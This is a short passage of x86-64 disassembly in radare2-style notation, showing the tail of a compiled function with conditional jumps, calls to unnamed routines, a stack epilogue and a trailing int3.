je 0x1400918a4
lea rcx, [rsp + 0x30]
call fcn.14005aee0
test r14d, r14d
je 0x1400918ba
mov r8d, 2
mov rcx, rbx
mov rdx, rdi
call fcn.140055580
mov rax, rsi
add rsp, 0x48
pop rbx
pop rdi
pop rsi
pop r14
ret
mov ecx, 2
mov rdx, rdi
call fcn.14018ba60
int3